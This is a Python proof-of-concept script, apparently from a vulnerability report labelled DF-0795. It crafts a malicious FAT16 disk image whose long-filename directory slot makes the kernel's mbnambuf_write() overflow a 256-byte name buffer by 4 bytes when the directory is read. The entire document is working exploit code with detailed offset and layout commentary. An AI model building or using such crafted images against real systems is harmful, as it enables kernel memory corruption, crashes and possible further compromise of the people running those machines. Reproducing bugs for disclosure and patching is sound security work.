DF-0795 / craft_img.py
#!/usr/bin/env python3 # DF-0795 image crafter: produce a FAT16 image with a single malicious Win95 # long-name slot at weCnt=0x54 (id=19), all 13 UTF-16 chars non-null, so that # mbnambuf_write() overflows nb_buf[256] by 4 bytes (ASCII variant) at slot # &nb_buf[19*13] = &nb_buf[247]. # # Layout produced: # sector 0: reserved (boot sector / BPB) - already correct from newfs_msdos # sector 1..16: FAT #1 # sector 17..32: FAT #2 # sector 33+: root directory (512 entries = 16 sectors for FAT16 here) # # We patch a Win95 LFN slot at the very first root-dir entry (sector 33, # offset 33*512 = 16896) so msdosfs_readdir() encounters it on `ls /`. # # The LFN slot fields (struct winentry, 32 bytes): # off 0 : weCnt = 0x54 (WIN_LAST|20) -> id = 19 # off 1 : wePart1[10] = 5 UTF-16 LE chars, all non-null, all ASCII # off 11 : weAttributes = ATTR_WIN95 = 0x0f # off 12 : weReserved1 = 0 # off 13 : weChksum = 0 (irrelevant; we never get to the 8.3 entry) # off 14 : wePart2[12] = 6 UTF-16 LE chars # off 26 : weReserved2 = 0 # off 28 : wePart3[4] = 2 UTF-16 LE chars # # Total: 5+6+2 = 13 UTF-16 chars, all ASCII -> win2unixchr returns 1 byte # each -> count = strlen(name) = 13 -> memcpy(&nb_buf[247], name, 13) writes # bytes nb_buf[247..259]; bytes nb_buf[256..259] = 4-byte overflow. import struct, sys, os def patch(img_path): # 13 ASCII chars (chosen to be visible / non-null), padded to UTF-16 LE. chars = b"ABCDEFGHIJKLM"[:13] # exactly 13 bytes assert len(chars) == 13 utf16 = bytes(b for c in chars for b in (c, 0)) # 26 bytes UTF-16 LE wePart1 = utf16[0:10] # 5 chars wePart2 = utf16[10:22] # 6 chars wePart3 = utf16[22:26] # 2 chars weCnt = 0x54 # WIN_LAST(0x40) | 20 attr = 0x0f # ATTR_WIN95 chksum = 0x42 # arbitrary; we never validate against 8.3 entry slot = bytes([weCnt]) + wePart1 + bytes([attr, 0, chksum]) + wePart2 + \ struct.pack("<H", 0) + wePart3 assert len(slot) == 32, len(slot) with open(img_path, "r+b") as f: # Root dir starts at sector 33 in this image (ResSectors=1, # 2 FATs * 16 sectors = 32). Offset = 33 * 512 = 16896. # Be safe: scan for first 0x00 slot in root dir area; otherwise # just write at sector 33. # We will simply write at 16896 (the first root dir entry), and # also leave the next entries zero (SLOT_EMPTY) so the loop exits # after our slot. f.seek(16896) existing = f.read(32) f.seek(16896) f.write(slot) # follow with SLOT_EMPTY (0x00) to terminate the directory f.seek(16896 + 32) f.write(b"\x00" * 32) print("patched %r with weCnt=0x54 LFN slot (id=19, 13 ASCII chars)" % img_path) if __name__ == "__main__": img = sys.argv[1] if len(sys.argv) > 1 else "evil.img" patch(img) |